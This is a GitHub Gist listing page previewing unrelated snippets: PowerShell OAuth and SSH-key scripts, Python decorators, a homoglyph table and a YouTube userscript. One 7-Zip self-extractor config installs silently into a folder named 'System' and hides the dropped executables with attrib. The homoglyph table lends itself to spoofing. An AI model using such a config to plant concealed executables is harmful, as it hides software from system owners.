Skip to content

Instantly share code, notes, and snippets.

View schittli's full-sized avatar

Tom-- schittli

  • Biel / Bienne, Switzerland
  • 05:45 (UTC +02:00)
View GitHub Profile
@itsChris
itsChris / Speedtest CLI by Ookla.md
Created January 4, 2021 08:25
Speedtest CLI by Ookla
<title>Speedtest CLI by Ookla</title>
@ffeldhaus
ffeldhaus / oauth-authentication-powershell.ps1
Last active June 11, 2024 15:19
Using OAuth 2.0 with PowerShell to authenticate against Google Services
# configuration (adapt to your setup!)
$CertFile = "$HOME/certificate.p12"
$CertPassword = "notasecret"
$Project = "myproject"
$ServiceAccountName = "service-account"
$ServiceAccount = "$ServiceAccountName@$Project.iam.gserviceaccount.com"
$Scope = "https://www.googleapis.com/auth/cloud-platform"
$ExpirationSeconds = 3600
# import certificate
Add-Type @"
namespace System.Security.Cryptography.X509Certificates {
public enum X509KeySpecFlags {
None = 0,
AT_KEYEXCHANGE = 1,
AT_SIGNATURE = 2
}
}
"@
function Convert-PemToPfx {
@cdelashmutt-pivotal
cdelashmutt-pivotal / Create-OpenSSHPubAndPrivateKeys.ps1
Created June 26, 2020 15:21
Generate OpenSSH compatible public and private key files in Powershell
<#
.SYNOPSIS
Create an OpenSSH compatible Public and Private Key in pure Powershell
.DESCRIPTION
Many scripts rely on the openssh or openssl tools to be available to generate public and private keys compatible with OpenSSH, but this script relies purely on Powershell (and some .NET classes already included) to generate public and private keys.
.EXAMPLE
PS /git/scripts> ./Create-OpenSSHPubAndPrivateKeys.ps1 -PublicKeyPath my-key.pub -PrivateKeyPath my-key
.LINK
mailto:[email protected]
#>
@StephenFordham
StephenFordham / method_decorators_example2.py
Created May 13, 2020 09:13
method_decorators_example2
def integer_check(method):
def inner(ref, expo=None):
if expo == None:
if not isinstance(ref._val1, int) or not isinstance(ref._val2, int):
raise TypeError('Please enter numerical numbers for val1 and val2')
else:
return method(ref)
if expo:
if not isinstance(ref._val1, int) or not isinstance(ref._val2, int)\
or not isinstance(expo, int):
# Class Decorators: Using Decorators with methods defined in a Class
def integer_check(method):
def inner(ref):
if not isinstance(ref._val1, int) or not isinstance(ref._val2, int):
raise TypeError('val1 and val2 must be integers')
else:
return method(ref)
return inner
@TheNilesh
TheNilesh / config.txt
Last active October 10, 2023 08:36
config.txt for 7zip sfx
;!@Install@!UTF-8!
InstallPath="%PROGRAMDATA%\\System"
;silent mode no gui
GUIMode="2"
;Update, if system locked, skip
OverwriteMode="2+8"
; Hide System folder and content
RunProgram="hidcon:cmd /c attrib +s +h %PROGRAMDATA%\System\*.exe"
@StephenFordham
StephenFordham / default_decorator_arg.py
Created March 24, 2020 18:25
default_decorator_arg
def meta_decorator(arg):
def decorator_list(fnc):
def inner(list_of_tuples):
return [(fnc(val[0], val[1])) ** power for val in list_of_tuples]
return inner
if callable(arg):
power = 2
return decorator_list(arg)
else:
power = arg
@StevenACoffman
StevenACoffman / Homoglyphs.md
Last active May 12, 2025 16:53
Unicode Look-alikes

Unicode Character Look-Alikes

Original Letter Look-Alike(s)
a а ạ ą ä à á ą
c с ƈ ċ
d ԁ ɗ
e е ẹ ė é è
g ġ
h һ
@kugland
kugland / download-youtube-subtitles.js
Last active February 9, 2024 05:20
Download YouTube subtitles (GreaseMonkey/TamperMonkey script)
// ==UserScript==
// @name Download YouTube subtitles
// @namespace http://tampermonkey.net/
// @version 0.1
// @description Now you can download YouTube subtitles
// @author André Kugland
// @match http*://*.youtube.com/*
// @grant none
// @require https://cdn.jsdelivr.net/npm/[email protected]/dist/FileSaver.min.js#sha256=bbf27552b76b9379c260579fa68793320239be2535ba3083bb67d75e84898e18
// ==/UserScript==